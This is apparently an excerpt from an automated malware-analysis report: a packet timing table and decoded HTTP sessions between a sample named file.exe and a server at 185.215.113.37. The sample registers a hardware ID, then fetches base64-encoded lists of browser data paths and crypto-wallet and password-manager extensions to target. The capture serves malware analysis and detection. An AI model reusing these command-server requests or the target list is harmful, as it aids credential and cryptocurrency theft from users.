Sep 29, 2024 02:00:19.624690056 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.624696970 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:19.624711990 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:19.624725103 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:19.624731064 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.624742985 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.624753952 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.624764919 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.624794960 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:19.624823093 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:19.624973059 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.624985933 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.624998093 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.625008106 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.625020981 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.625041008 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:19.625067949 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:19.625087023 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.625097990 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.625109911 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.625119925 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.625128031 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:19.625129938 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.625144958 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:19.625171900 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:19.625363111 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.625376940 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.625389099 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.625399113 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.625411034 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.625417948 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:19.625422955 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.625435114 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.625448942 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.625454903 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:19.625485897 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:19.625709057 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.625721931 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.625732899 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.625737906 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.625750065 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.625761032 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.625771999 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.625782013 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.625792980 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.625792980 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:19.625798941 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.625809908 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.625822067 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.625833988 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.625844955 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:19.625845909 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.625880003 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:19.626140118 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.626162052 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.626173019 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.626184940 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.626195908 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.626195908 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:19.626203060 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.626226902 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:19.626257896 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:20.238806009 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:20.238854885 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:20.538770914 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:20.872813940 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:20.872901917 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:20.873193026 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:20.873205900 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:20.877715111 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:21.764046907 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:21.765947104 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:22.188379049 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:22.193273067 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:22.417642117 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:22.417659044 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:22.417670012 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:22.417771101 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:22.420901060 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:22.425932884 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:22.646744967 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:22.646900892 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:22.660095930 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:22.665612936 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:23.378329039 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:23.378503084 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:23.406383991 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:23.411212921 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:23.636682034 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:23.636713982 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:23.636734962 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:23.636749983 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:23.636775017 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:23.636779070 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:23.636786938 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:23.636812925 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:23.636857986 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:23.638326883 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:23.643058062 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:24.359180927 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:24.359337091 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:29.364609003 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:29.364665985 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:31.369438887 CEST	49704	80	192.168.2.5	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.37	80	6656	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 02:00:03.320985079 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Sep 29, 2024 02:00:04.029228926 CEST	203	IN	HTTP/1.1 200 OK Date: Sun, 29 Sep 2024 00:00:03 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 29, 2024 02:00:04.032879114 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFCFIEHCFIECBGCBFHIJ Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 34 35 38 31 42 30 39 36 46 31 32 32 30 34 30 34 30 39 34 30 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 61 76 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 2d 2d 0d 0a Data Ascii: ------KFCFIEHCFIECBGCBFHIJContent-Disposition: form-data; name="hwid"C4581B096F122040409402------KFCFIEHCFIECBGCBFHIJContent-Disposition: form-data; name="build"save------KFCFIEHCFIECBGCBFHIJ--
Sep 29, 2024 02:00:04.280467987 CEST	407	IN	HTTP/1.1 200 OK Date: Sun, 29 Sep 2024 00:00:04 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 6a 49 31 59 54 67 30 5a 44 4e 6a 59 57 4d 33 59 54 49 30 4d 47 49 7a 4d 54 45 33 4d 32 4d 31 4e 6d 46 6b 5a 47 4a 68 4f 44 67 7a 4d 47 45 32 59 57 4d 30 4e 6a 49 78 59 7a 51 77 4e 6d 5a 6a 4d 44 6b 33 4d 6d 4d 7a 59 57 55 35 59 54 6b 31 59 6a 56 6a 59 6a 67 32 4e 6a 51 35 5a 6d 5a 6c 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: MjI1YTg0ZDNjYWM3YTI0MGIzMTE3M2M1NmFkZGJhODgzMGE2YWM0NjIxYzQwNmZjMDk3MmMzYWU5YTk1YjVjYjg2NjQ5ZmZlfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Sep 29, 2024 02:00:04.281996965 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBGIEGCFHCFHIDHIJECA Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 47 49 45 47 43 46 48 43 46 48 49 44 48 49 4a 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 32 35 61 38 34 64 33 63 61 63 37 61 32 34 30 62 33 31 31 37 33 63 35 36 61 64 64 62 61 38 38 33 30 61 36 61 63 34 36 32 31 63 34 30 36 66 63 30 39 37 32 63 33 61 65 39 61 39 35 62 35 63 62 38 36 36 34 39 66 66 65 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 49 45 47 43 46 48 43 46 48 49 44 48 49 4a 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 49 45 47 43 46 48 43 46 48 49 44 48 49 4a 45 43 41 2d 2d 0d 0a Data Ascii: ------EBGIEGCFHCFHIDHIJECAContent-Disposition: form-data; name="token"225a84d3cac7a240b31173c56addba8830a6ac4621c406fc0972c3ae9a95b5cb86649ffe------EBGIEGCFHCFHIDHIJECAContent-Disposition: form-data; name="message"browsers------EBGIEGCFHCFHIDHIJECA--
Sep 29, 2024 02:00:04.507972002 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 29 Sep 2024 00:00:04 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Sep 29, 2024 02:00:04.507997990 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Sep 29, 2024 02:00:04.510158062 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KECBGCGCGIEGCBFHIIEB Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 43 42 47 43 47 43 47 49 45 47 43 42 46 48 49 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 32 35 61 38 34 64 33 63 61 63 37 61 32 34 30 62 33 31 31 37 33 63 35 36 61 64 64 62 61 38 38 33 30 61 36 61 63 34 36 32 31 63 34 30 36 66 63 30 39 37 32 63 33 61 65 39 61 39 35 62 35 63 62 38 36 36 34 39 66 66 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 42 47 43 47 43 47 49 45 47 43 42 46 48 49 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 42 47 43 47 43 47 49 45 47 43 42 46 48 49 49 45 42 2d 2d 0d 0a Data Ascii: ------KECBGCGCGIEGCBFHIIEBContent-Disposition: form-data; name="token"225a84d3cac7a240b31173c56addba8830a6ac4621c406fc0972c3ae9a95b5cb86649ffe------KECBGCGCGIEGCBFHIIEBContent-Disposition: form-data; name="message"plugins------KECBGCGCGIEGCBFHIIEB--
Sep 29, 2024 02:00:04.736440897 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 29 Sep 2024 00:00:04 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Sep 29, 2024 02:00:04.736469030 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Sep 29, 2024 02:00:04.736479998 CEST	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Sep 29, 2024 02:00:04.736491919 CEST	372	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Sep 29, 2024 02:00:04.736510992 CEST	1236	IN	Data Raw: 63 69 42 51 59 58 4e 7a 64 32 39 79 5a 43 42 4e 59 57 35 68 5a 32 56 79 66 47 6c 74 62 47 39 70 5a 6d 74 6e 61 6d 46 6e 5a 32 68 75 62 6d 4e 71 61 32 68 6e 5a 32 52 6f 59 57 78 74 59 32 35 6d 61 32 78 72 66 44 46 38 4d 48 77 77 66 45 46 31 64 47 Data Ascii: ciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGhpZ29vb2FkZGlucGtiYWl8MXwwfDB8QXV0aHl8Z2FlZG1qZGZtbWFoaGJqZWZjYmdhb2xoaGFubGFvbGJ8MXwwfDB8RU9TIEF1dGhlbnRpY2F0b3J8b2VsamRsZHB
Sep 29, 2024 02:00:04.736520052 CEST	224	IN	Data Raw: 61 47 52 6a 62 32 35 6b 59 6d 4e 69 5a 47 35 69 5a 57 56 77 63 47 64 6b 63 47 68 38 4d 58 77 77 66 44 42 38 55 6d 6c 7a 5a 53 41 74 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 6f 59 6d 4a 6e 59 6d 56 77 61 47 64 76 61 6d 6c 72 59 57 Data Ascii: aGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHxvcGZnZWxtY21iaWFqYW1lcG5tbG9pamJwb2xlaWFtYXwxfDB8MHxOaWdodGx5IFdhbGxldHxmaWlrb21tZGRiZWNj
